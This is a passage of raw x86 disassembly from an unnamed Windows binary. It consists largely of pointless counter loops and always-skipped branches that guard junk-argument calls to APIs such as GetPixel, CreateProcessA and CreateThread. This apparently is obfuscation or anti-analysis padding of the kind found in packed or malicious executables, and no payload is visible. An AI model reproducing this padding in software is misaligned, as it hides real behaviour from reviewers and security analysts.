or dword [eax], 0xffffffff
jmp 0x46bf02
jmp 0x46bd68
lea ecx, [ebp - 0x18a4]
call fcn.00430832
lea ecx, [ebp - 0x3b4]
call fcn.00430832
mov dword [ebp - 0xfc], 0
jmp 0x46bf62
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 1
jge 0x46bf84
push dword [ebp - 0xfc]
lea ecx, [ebp - 0x7f0]
call fcn.0043084e
mov dword [eax], 0xa32b1cec
jmp 0x46bf55
mov dword [ebp - 0x50], 0
jmp 0x46bf94
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 4
jge 0x46bfaa
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x2038], 0xfffffff9
jmp 0x46bf8d
mov dword [ebp - 0x50], 0
jmp 0x46bfba
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 3
jge 0x46bfd0
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x2004], 0x71c7bf0b
jmp 0x46bfb3
mov dword [ebp - 0x50], 0
jmp 0x46bfe0
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 2
jge 0x46bff6
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x1918], 2
jmp 0x46bfd9
mov byte [ebp - 0x189], 0
movzx eax, byte [ebp - 0x189]
test eax, eax
je 0x46c010
push 0
call dword [sym.imp.USER32.dll_DestroyMenu]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1918]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1918], eax
push 0
lea ecx, [ebp - 0x7f0]
call fcn.0043084e
mov dword [eax], 3
jmp 0x46c064
push 0
lea ecx, [ebp - 0x7f0]
call fcn.0043084e
mov dword [ebp - 0x1048], eax
mov eax, dword [ebp - 0x1048]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x1048]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x7f0]
call fcn.0043084e
cmp dword [eax], 0
jl 0x46c6a1
push 2
lea ecx, [ebp - 0x173c]
call fcn.00430760
mov dword [ebp - 0x19b4], 1
mov dword [ebp - 0x19b0], 1
mov dword [ebp - 0x19ac], 1
mov dword [ebp - 0x19a8], 1
lea ecx, [ebp - 0x645]
call fcn.0043085d
push eax
lea eax, [ebp - 0x19a4]
push eax
lea eax, [ebp - 0x19b4]
push eax
lea ecx, [ebp - 0x1f58]
call fcn.00430860
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1f20]
call fcn.0043080c
mov dword [ebp - 0x504], 0
jmp 0x46c0fd
mov eax, dword [ebp - 0x504]
inc eax
mov dword [ebp - 0x504], eax
cmp dword [ebp - 0x504], 2
jge 0x46c11f
push dword [ebp - 0x504]
lea ecx, [ebp - 0x173c]
call fcn.0043084e
mov dword [eax], 1
jmp 0x46c0f0
push 1
lea ecx, [ebp - 0x173c]
call fcn.0043084e
mov dword [eax], 0x15
jmp 0x46c158
push 1
lea ecx, [ebp - 0x173c]
call fcn.0043084e
mov dword [ebp - 0x898], eax
mov eax, dword [ebp - 0x898]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x898]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x173c]
call fcn.0043084e
cmp dword [eax], 0x10
jge 0x46c1f9
mov dword [ebp - 0x3fc], 0x8c9f3690
mov dword [ebp - 0x3fc], 3
jmp 0x46c191
mov eax, dword [ebp - 0x3fc]
dec eax
mov dword [ebp - 0x3fc], eax
cmp dword [ebp - 0x3fc], 0
jl 0x46c1c4
mov byte [ebp - 0x18b], 0
movzx eax, byte [ebp - 0x18b]
test eax, eax
je 0x46c1c2
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectClipRgn]
jmp 0x46c184
mov byte [ebp - 0x209], 0
movzx eax, byte [ebp - 0x209]
test eax, eax
je 0x46c1f4
push 0x238a
push 0x846
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
jmp 0x46c134
lea ecx, [ebp - 0x1f20]
call fcn.00430832
lea ecx, [ebp - 0x173c]
call fcn.00430832
mov dword [ebp - 0x380], 7
mov dword [ebp - 0x1a54], 1
mov dword [ebp - 0x1a50], 1
mov dword [ebp - 0x1a4c], 1
mov dword [ebp - 0x1a48], 1
lea ecx, [ebp - 0x765]
call fcn.0043085d
push eax
lea eax, [ebp - 0x1a44]
push eax
lea eax, [ebp - 0x1a54]
push eax
lea ecx, [ebp - 0x1ff8]
call fcn.00430860
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x13e8]
call fcn.0043080c
mov dword [ebp - 0x380], 0x1a
jmp 0x46c28f
mov eax, dword [ebp - 0x380]
dec eax
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 0x12
je 0x46c600
mov dword [ebp - 0x98], 5
mov byte [ebp - 0x16c], 0
movzx eax, byte [ebp - 0x16c]
test eax, eax
je 0x46c2d5
push 0
push 0
push 0
push 0
push 0xb3b
push 1
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 0x98], 0
jmp 0x46c2ee
mov eax, dword [ebp - 0x98]
dec eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0xffffffe3
jg 0x46c5fb
mov dword [ebp - 0x250], 1
mov dword [ebp - 0x2e4], 0x9cea
mov dword [ebp - 0x250], 3
jmp 0x46c328
mov eax, dword [ebp - 0x250]
dec eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0
jl 0x46c5de
mov dword [ebp - 0xcc], 0xffffffff
mov dword [ebp - 0x1a0], 0xd91f06e8
mov dword [ebp - 0xcc], 0
jmp 0x46c362
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 3
jg 0x46c4b8
push dword [ebp - 0xcc]
lea ecx, [ebp - 0x13e8]
call fcn.0043084e
cmp dword [eax], 0
jne 0x46c45d
xor eax, eax
jne 0x46c39f
cmp dword [ebp - 0xcc], 0
jne 0x46c39f
and dword [ebp - 0x1050], 0
jmp 0x46c3a9
mov dword [ebp - 0x1050], 1
mov eax, dword [ebp - 0x98]
cmp eax, dword [ebp - 0x1050]
jl 0x46c3c3
mov dword [ebp - 0x8a0], 1
jmp 0x46c3ca
and dword [ebp - 0x8a0], 0
cmp dword [ebp - 0x8a0], 0
jne 0x46c3df
mov dword [ebp - 0x1058], 1
jmp 0x46c3e6
and dword [ebp - 0x1058], 0
push dword [ebp - 0xcc]
lea ecx, [ebp - 0x13e8]
call fcn.0043084e
mov ecx, dword [ebp - 0x1058]
cmp ecx, dword [eax]
jg 0x46c405
xor eax, eax
jne 0x46c417
cmp dword [ebp - 0x98], 0
jne 0x46c417
and dword [ebp - 0x1518], 0
jmp 0x46c421
mov dword [ebp - 0x1518], 1
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x1db0], eax
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x2e4]
sub ecx, 0xcced
imul eax, ecx
imul esi, eax, 0x578
push dword [ebp - 0xcc]
lea ecx, [ebp - 0x13e8]
call fcn.0043084e
sub esi, dword [eax]
je 0x46c472
cmp dword [ebp - 0x380], 0
je 0x46c472
mov dword [ebp - 0x8a8], 1
jmp 0x46c479
and dword [ebp - 0x8a8], 0
push dword [ebp - 0xcc]
lea ecx, [ebp - 0x13e8]
call fcn.0043084e
mov ecx, dword [ebp - 0x8a8]
cmp ecx, dword [eax]
jne 0x46c4a0
mov dword [ebp - 0x1060], 1
jmp 0x46c4a7
and dword [ebp - 0x1060], 0
mov eax, dword [ebp - 0x1060]
mov dword [ebp - 0x1a0], eax
jmp 0x46c355
mov dword [ebp - 0x2e4], 0x19
jmp 0x46c4d1
mov eax, dword [ebp - 0x2e4]
dec eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 0xffffffee
jge 0x46c5d9
mov byte [ebp - 0x231], 0
movzx eax, byte [ebp - 0x231]
test eax, eax
je 0x46c508
push 0
push 0x13fa
push 0
push 0
push 0xc0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x1a0], 0
jmp 0x46c521
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 3
jg 0x46c5d4
mov dword [ebp - 0x1520], 0x5a60c437
push dword [ebp - 0x1a0]
lea ecx, [ebp - 0x13e8]
call fcn.0043084e
mov esi, dword [ebp - 0x98]
mov edi, dword [ebp - 0x250]
push dword [ebp - 0x1a0]
lea ecx, [ebp - 0x13e8]
call fcn.0043084e
add edi, dword [eax]
cmp esi, edi
jge 0x46c578
mov dword [ebp - 0x8b0], 1
jmp 0x46c57f
and dword [ebp - 0x8b0], 0
cmp dword [ebp - 0x8b0], 1
jge 0x46c594
mov dword [ebp - 0x1068], 1
jmp 0x46c59b
and dword [ebp - 0x1068], 0
mov eax, dword [ebp - 0x98]
imul eax, dword [ebp - 0x1068]
cmp eax, dword [ebp - 0x98]
jl 0x46c5bc
mov dword [ebp - 0x8b8], 1
jmp 0x46c5c3
and dword [ebp - 0x8b8], 0
mov eax, dword [ebp - 0x8b8]
mov dword [ebp - 0x1520], eax
jmp 0x46c514
jmp 0x46c4c4
jmp 0x46c31b
mov byte [ebp - 0x16e], 0
movzx eax, byte [ebp - 0x16e]
test eax, eax
je 0x46c5f6
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
jmp 0x46c2e1
jmp 0x46c282
lea ecx, [ebp - 0x13e8]
call fcn.00430832
push 0
lea ecx, [ebp - 0x7f0]
call fcn.0043084e
push dword [eax]
lea ecx, [ebp - 0x144c]
call fcn.0043084e
mov esi, eax
push 0
lea ecx, [ebp - 0x7f0]
call fcn.0043084e
push dword [eax]
lea ecx, [ebp - 0x144c]
call fcn.0043084e
mov ecx, dword [esi]
mov dword [eax], ecx
push 0
lea ecx, [ebp - 0x7f0]
call fcn.0043084e
push dword [eax]
lea ecx, [ebp - 0x144c]
call fcn.0043084e
cmp dword [eax], 0x843046b6
ja 0x46c673
mov dword [ebp - 0x1070], 1
jmp 0x46c67a
and dword [ebp - 0x1070], 0
push 0
lea ecx, [ebp - 0x7f0]
call fcn.0043084e
push dword [eax]
lea ecx, [ebp - 0x144c]
call fcn.0043084e
mov ecx, dword [ebp - 0x1070]
mov dword [eax], ecx
jmp 0x46c040
lea ecx, [ebp - 0x7f0]
call fcn.00430832
lea ecx, [ebp - 0x144c]
call fcn.00430832
push 2
lea ecx, [ebp - 0x1464]
call fcn.00430760
mov dword [ebp - 0x2a8], 0
mov dword [ebp - 0x58c], 0
jmp 0x46c6e7
mov eax, dword [ebp - 0x58c]
inc eax
mov dword [ebp - 0x58c], eax
cmp dword [ebp - 0x58c], 2
jge 0x46c709
push dword [ebp - 0x58c]
lea ecx, [ebp - 0x1464]
call fcn.0043084e
mov dword [eax], 0xfffffff7
jmp 0x46c6da
mov dword [ebp - 0x2a8], 1
jmp 0x46c722
mov eax, dword [ebp - 0x2a8]
dec eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 0
jl 0x46c975
mov dword [ebp - 0xac], 0
jmp 0x46c748
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 1
jge 0x46c764
mov eax, dword [ebp - 0xac]
mov dword [ebp + eax*4 - 0x348], 0
jmp 0x46c73b
mov dword [ebp - 0xac], 0
jmp 0x46c77d
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 2
jge 0x46c799
mov eax, dword [ebp - 0xac]
mov dword [ebp + eax*4 - 0x1ea0], 0
jmp 0x46c770
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x348], 1
jmp 0x46c7c7
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x348]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x348], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x348], 0
jl 0x46c970
mov byte [ebp - 0x211], 0
movzx eax, byte [ebp - 0x211]
test eax, eax
je 0x46c80d
push 0
push pe_nt_image_headers32
push 0x1c98
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowExtEx]
push dword [ebp - 0x2a8]
lea ecx, [ebp - 0x1464]
call fcn.0043084e
mov dword [ebp - 0x8c0], eax
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x348]
lea ecx, [ebp - 0x1464]
call fcn.0043084e
mov ecx, dword [ebp - 0x8c0]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x8c0]
cmp dword [eax], 0
je 0x46c89b
mov dword [ebp - 0x2ec], 0xffffffff
mov dword [ebp - 0x2ec], 0
jmp 0x46c874
mov eax, dword [ebp - 0x2ec]
inc eax
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 2
jge 0x46c896
push dword [ebp - 0x2ec]
lea ecx, [ebp - 0x1464]
call fcn.0043084e
mov dword [eax], 0x4dfb
jmp 0x46c867
jmp 0x46c96b
mov dword [ebp - 0x404], 0
jmp 0x46c8b4
mov eax, dword [ebp - 0x404]
inc eax
mov dword [ebp - 0x404], eax
cmp dword [ebp - 0x404], 4
jge 0x46c8d0
mov eax, dword [ebp - 0x404]
mov dword [ebp + eax*4 - 0x1b58], 0xffffffff
jmp 0x46c8a7
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x1b58], 0
jmp 0x46c8fe
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x1b58]
inc eax
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x1b58], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x1b58], 1
jg 0x46c956
mov dword [ebp - 0x50c], 6
mov dword [ebp - 0x50c], 0
jmp 0x46c931
mov eax, dword [ebp - 0x50c]
inc eax
mov dword [ebp - 0x50c], eax
cmp dword [ebp - 0x50c], 1
jg 0x46c954
push dword [ebp - 0x2a8]
lea ecx, [ebp - 0x1464]
call fcn.0043084e
cmp dword [eax], 0
je 0x46c952
jmp 0x46c954
jmp 0x46c924
jmp 0x46c8e3
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1ea0], 0
je 0x46c96b
jmp 0x46c7ac
jmp 0x46c7ac
jmp 0x46c715
lea ecx, [ebp - 0x1464]
call fcn.00430832
mov dword [ebp - 0x91c], 0x2e55
mov dword [ebp - 0x370], 0xac8b13ec
mov dword [ebp - 0x5ec], 0x76e5b14f
mov dword [ebp - 0x414], 1
mov dword [ebp - 0x710], 0xfff7
mov dword [ebp - 0x1594], 0
mov dword [ebp - 0x370], 0
jmp 0x46c9d5
mov eax, dword [ebp - 0x370]
dec eax
mov dword [ebp - 0x370], eax
cmp dword [ebp - 0x370], 0xfffffff6
jl 0x46cd5c
mov dword [ebp - 0x144], 0x48708ef6
mov dword [ebp - 0x159c], 0x1401cea
mov dword [ebp - 0x40c], 0
jmp 0x46ca0f
mov eax, dword [ebp - 0x40c]
inc eax
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x40c], 2
jge 0x46ca2b
mov eax, dword [ebp - 0x40c]
mov dword [ebp + eax*4 - 0x153c], 0x77dd6887
jmp 0x46ca02
mov dword [ebp - 0x144], 1
jmp 0x46ca44
mov eax, dword [ebp - 0x144]
dec eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0
jl 0x46cd57
push 2
lea ecx, [ebp - 0x174c]
call fcn.00430760
mov dword [ebp - 0x124], 0
jmp 0x46ca77
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 2
jge 0x46ca93
mov eax, dword [ebp - 0x124]
mov dword [ebp + eax*4 - 0x1c20], 0xb263
jmp 0x46ca6a
mov dword [ebp - 0x124], 0
jmp 0x46caac
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 2
jge 0x46cace
push dword [ebp - 0x124]
lea ecx, [ebp - 0x174c]
call fcn.0043084e
mov dword [eax], 0x6cc9ca31
jmp 0x46ca9f
cmp dword [ebp - 0x710], 0xffffffff
jge 0x46cae3
mov dword [ebp - 0x1078], 1
jmp 0x46caea
and dword [ebp - 0x1078], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x153c]
cmp dword [ebp - 0x1078], eax
jg 0x46cb0b
mov dword [ebp - 0x8c8], 1
jmp 0x46cb12
and dword [ebp - 0x8c8], 0
mov eax, dword [ebp - 0x144]
cmp dword [ebp - 0x8c8], eax
jl 0x46cb2c
mov dword [ebp - 0x1080], 1
jmp 0x46cb33
and dword [ebp - 0x1080], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1c20]
cmp dword [ebp - 0x1080], eax
jle 0x46cb54
mov dword [ebp - 0x8d0], 1
jmp 0x46cb5b
and dword [ebp - 0x8d0], 0
push 1
lea ecx, [ebp - 0x174c]
call fcn.0043084e
mov ecx, dword [ebp - 0x8d0]
cmp ecx, dword [eax]
jge 0x46cb7e
mov dword [ebp - 0x1088], 1
jmp 0x46cb85
and dword [ebp - 0x1088], 0
cmp dword [ebp - 0x1088], 0x4faf
jge 0x46cb9d
mov dword [ebp - 0x658], 1
jmp 0x46cba4
and dword [ebp - 0x658], 0
push 1
lea ecx, [ebp - 0x174c]
call fcn.0043084e
mov ecx, dword [ebp - 0x658]
mov dword [eax], ecx
cmp dword [ebp - 0x658], 2
jne 0x46cbce
mov dword [ebp - 0x8d8], 1
jmp 0x46cbd5
and dword [ebp - 0x8d8], 0
mov eax, dword [ebp - 0x710]
cmp eax, dword [ebp - 0x8d8]
jle 0x46cbef
mov dword [ebp - 0x1090], 1
jmp 0x46cbf6
and dword [ebp - 0x1090], 0
cmp dword [ebp - 0x1090], 0x9a54e587
jae 0x46cc0e
mov dword [ebp - 0x8e0], 1
jmp 0x46cc15
and dword [ebp - 0x8e0], 0
mov eax, dword [ebp - 0x5ec]
cmp dword [ebp - 0x8e0], eax
jge 0x46cc2f
mov dword [ebp - 0x1098], 1
jmp 0x46cc36
and dword [ebp - 0x1098], 0
mov eax, dword [ebp - 0x1098]
mov dword [ebp - 0x5ec], eax
mov eax, dword [ebp - 0x5ec]
add eax, 0xffff
jne 0x46cc61
cmp dword [ebp - 0x144], 0
jne 0x46cc61
and dword [ebp - 0x8e8], 0
jmp 0x46cc6b
mov dword [ebp - 0x8e8], 1
mov eax, dword [ebp - 0x414]
mov dword [ebp - 0x1528], eax
mov eax, dword [ebp - 0x8e8]
add eax, 5
mov ecx, dword [ebp - 0x144]
mov ecx, dword [ebp + ecx*4 - 0x153c]
sub ecx, eax
mov dword [ebp - 0x1530], ecx
mov eax, dword [ebp - 0x414]
inc eax
mov dword [ebp - 0x414], eax
mov eax, dword [ebp - 0x1528]
cmp eax, dword [ebp - 0x1530]
jl 0x46ccbc
mov dword [ebp - 0x158c], 1
jmp 0x46ccc3
and dword [ebp - 0x158c], 0
mov eax, dword [ebp - 0x370]
mov dword [ebp - 0x1bdc], eax
cmp dword [ebp - 0x5ec], 0x3c94
jl 0x46cce7
mov dword [ebp - 0x10a0], 1
jmp 0x46ccee
and dword [ebp - 0x10a0], 0
mov eax, dword [ebp - 0x710]
cmp dword [ebp - 0x10a0], eax
je 0x46cd08
mov dword [ebp - 0x8f0], 1
jmp 0x46cd0f
and dword [ebp - 0x8f0], 0
mov eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x8f0]
mov dword [ebp + eax*4 - 0x153c], ecx
mov eax, dword [ebp - 0x414]
mov dword [ebp - 0x1594], eax
cmp dword [ebp - 0x159c], 0
je 0x46cd47
lea ecx, [ebp - 0x174c]
call fcn.00430832
jmp 0x46ca37
lea ecx, [ebp - 0x174c]
call fcn.00430832
jmp 0x46ca37
jmp 0x46c9c8
mov byte [ebp - 0x170], 0
movzx eax, byte [ebp - 0x170]
test eax, eax
je 0x46cd79
push 0x1956
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [ebp - 0x1a8], 1
mov dword [ebp - 0x10d0], 0xa7e9
mov dword [ebp - 0x930], 0xc7a2e428
mov dword [ebp - 0x15ac], 0xde0f4c9f
mov dword [ebp - 0x1d94], 0
mov dword [ebp - 0x1a8], 0
jmp 0x46cdc4
mov eax, dword [ebp - 0x1a8]
dec eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0xffffffed
jl 0x46d0e8
push 2
lea ecx, [ebp - 0x5f8]
call fcn.00430760
mov dword [ebp - 0x10d8], 0xfffa
mov dword [ebp - 0x920], 0xffffffff
mov dword [ebp - 0x938], 0xd3b51a
mov dword [ebp - 0x15a4], 0x5fe57b6a
mov dword [ebp - 0x514], 0
jmp 0x46ce1f
mov eax, dword [ebp - 0x514]
inc eax
mov dword [ebp - 0x514], eax
cmp dword [ebp - 0x514], 2
jge 0x46ce41
push dword [ebp - 0x514]
lea ecx, [ebp - 0x5f8]
call fcn.0043084e
mov dword [eax], 6
jmp 0x46ce12
push 1
lea ecx, [ebp - 0x5f8]
call fcn.0043084e
push 0
lea ecx, [ebp - 0x5f8]
call fcn.0043084e
push 1
lea ecx, [ebp - 0x5f8]
call fcn.0043084e
mov esi, eax
push 0
lea ecx, [ebp - 0x5f8]
call fcn.0043084e
mov ecx, dword [esi]
cmp ecx, dword [eax]
jle 0x46ce89
mov dword [ebp - 0x10a8], 1
jmp 0x46ce90
and dword [ebp - 0x10a8], 0
cmp dword [ebp - 0x10a8], 1
jl 0x46cea5
mov dword [ebp - 0x8f8], 1
jmp 0x46ceac
and dword [ebp - 0x8f8], 0
cmp dword [ebp - 0x8f8], 0x4b74
jg 0x46cec4
mov dword [ebp - 0x10b0], 1
jmp 0x46cecb
and dword [ebp - 0x10b0], 0
push 1
lea ecx, [ebp - 0x5f8]
call fcn.0043084e
mov ecx, dword [ebp - 0x10b0]
cmp ecx, dword [eax]
jne 0x46ceee
mov dword [ebp - 0x900], 1
jmp 0x46cef5
and dword [ebp - 0x900], 0
mov eax, dword [ebp - 0x1a8]
cmp dword [ebp - 0x900], eax
jle 0x46cf0f
mov dword [ebp - 0x10b8], 1
jmp 0x46cf16
and dword [ebp - 0x10b8], 0
push 1
lea ecx, [ebp - 0x5f8]
call fcn.0043084e
mov ecx, dword [ebp - 0x10b8]
cmp ecx, dword [eax]
jg 0x46cf39
mov dword [ebp - 0x908], 1
jmp 0x46cf40
and dword [ebp - 0x908], 0
mov esi, dword [ebp - 0x1a8]
add esi, dword [ebp - 0x908]
push 1
lea ecx, [ebp - 0x5f8]
call fcn.0043084e
cmp esi, dword [eax]
jg 0x46cf69
mov dword [ebp - 0x10c0], 1
jmp 0x46cf70
and dword [ebp - 0x10c0], 0
mov eax, dword [ebp - 0x10d0]
cmp dword [ebp - 0x10c0], eax
jne 0x46cf8a
mov dword [ebp - 0x910], 1
jmp 0x46cf91
and dword [ebp - 0x910], 0
push 0
lea ecx, [ebp - 0x5f8]
call fcn.0043084e
mov ecx, dword [ebp - 0x910]
cmp ecx, dword [eax]
je 0x46cfb4
mov dword [ebp - 0x10c8], 1
jmp 0x46cfbb
and dword [ebp - 0x10c8], 0
push 1
lea ecx, [ebp - 0x5f8]
call fcn.0043084e
mov ecx, dword [ebp - 0x10c8]
cmp ecx, dword [eax]
jge 0x46cfed
push 1
lea ecx, [ebp - 0x5f8]
call fcn.0043084e
cmp dword [eax], 0
jne 0x46cfed
and dword [ebp - 0x918], 0
jmp 0x46cff7
mov dword [ebp - 0x918], 1
mov eax, dword [ebp - 0x918]
mov dword [ebp - 0x920], eax
mov eax, dword [ebp - 0x10d0]
cmp dword [ebp - 0x920], eax
jne 0x46d01d
mov dword [ebp - 0x928], 1
jmp 0x46d024
and dword [ebp - 0x928], 0
mov eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x10d8], eax
mov esi, dword [ebp - 0x10d8]
push 1
lea ecx, [ebp - 0x5f8]
call fcn.0043084e
mov ecx, dword [ebp - 0x928]
sub ecx, dword [eax]
cmp esi, ecx
jle 0x46d05b
mov dword [ebp - 0x10e0], 1
jmp 0x46d062
and dword [ebp - 0x10e0], 0
mov eax, dword [ebp - 0x930]
cmp dword [ebp - 0x10e0], eax
jge 0x46d085
cmp dword [ebp - 0x930], 0
je 0x46d085
mov dword [ebp - 0x10e8], 1
jmp 0x46d08c
and dword [ebp - 0x10e8], 0
mov eax, dword [ebp - 0x10e8]
mov dword [ebp - 0x938], eax
cmp dword [ebp - 0x938], 0x481d
jge 0x46d0b0
mov dword [ebp - 0x10f0], 1
jmp 0x46d0b7
and dword [ebp - 0x10f0], 0
mov eax, dword [ebp - 0x10f0]
mov dword [ebp - 0x15a4], eax
push 1
lea ecx, [ebp - 0x5f8]
call fcn.0043084e
mov eax, dword [eax]
mov dword [ebp - 0x15ac], eax
lea ecx, [ebp - 0x5f8]
call fcn.00430832
jmp 0x46cdb7
mov dword [ebp - 0x668], 9
mov dword [ebp - 0x660], 0xfffffffb
mov dword [ebp - 0xd4], 0
jmp 0x46d115
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 1
jge 0x46d131
mov eax, dword [ebp - 0xd4]
mov dword [ebp + eax*4 - 0x1b0], 0x17571177
jmp 0x46d108
mov dword [ebp - 0xd4], 0
jmp 0x46d14a
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 3
jge 0x46d166
mov eax, dword [ebp - 0xd4]
mov dword [ebp + eax*4 - 0x1300], 0
jmp 0x46d13d
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1b0], 0xfffffffb
jmp 0x46d194
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1b0]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1b0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1b0], 5
jne 0x46d569
mov dword [ebp - 0x1c], 0xfffffff6
mov dword [ebp - 0x15c4], 0xa65d3384
mov dword [ebp - 0x1c], 2
jmp 0x46d1c9
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jl 0x46d564
mov dword [ebp - 0x15b4], 7
mov dword [ebp - 0x718], 0x1f283019
mov dword [ebp - 0x41c], 0
jmp 0x46d200
mov eax, dword [ebp - 0x41c]
inc eax
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 1
jge 0x46d21c
mov eax, dword [ebp - 0x41c]
mov dword [ebp + eax*4 - 0x670], 7
jmp 0x46d1f3
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1b0], 0
jne 0x46d269
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp + ecx*4 - 0x1300]
cmp dword [ebp + eax*4 - 0x1300], ecx
jne 0x46d24e
mov dword [ebp - 0x940], 1
jmp 0x46d255
and dword [ebp - 0x940], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x940], eax
jl 0x46d269
and dword [ebp - 0x10f8], 0
jmp 0x46d273
mov dword [ebp - 0x10f8], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1b0]
add eax, dword [ebp - 0x10f8]
cmp dword [ebp - 0x1c], eax
jne 0x46d297
mov dword [ebp - 0x948], 1
jmp 0x46d29e
and dword [ebp - 0x948], 0
mov eax, dword [ebp - 0x948]
mov dword [ebp - 0x668], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x1300]
mov dword [ebp - 0x1be4], eax
mov eax, dword [ebp - 0x668]
mov dword [ebp - 0x1e30], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x1300]
cmp dword [ebp - 0x1c], eax
jge 0x46d2e1
mov dword [ebp - 0x1100], 1
jmp 0x46d2e8
and dword [ebp - 0x1100], 0
cmp dword [ebp - 0x1100], 5
je 0x46d2fd
mov dword [ebp - 0x950], 1
jmp 0x46d304
and dword [ebp - 0x950], 0
mov eax, dword [ebp - 0x660]
cmp dword [ebp - 0x950], eax
jg 0x46d31e
mov dword [ebp - 0x1108], 1
jmp 0x46d325
and dword [ebp - 0x1108], 0
cmp dword [ebp - 0x1108], 0xfffffffd
jg 0x46d33a
mov dword [ebp - 0x958], 1
jmp 0x46d341
and dword [ebp - 0x958], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x1300]
add eax, dword [ebp - 0x958]
mov ecx, dword [ebp - 0x1c]
cmp eax, dword [ebp + ecx*4 - 0x1300]
jle 0x46d369
mov dword [ebp - 0x1110], 1
jmp 0x46d370
and dword [ebp - 0x1110], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1b0]
cmp dword [ebp - 0x1110], eax
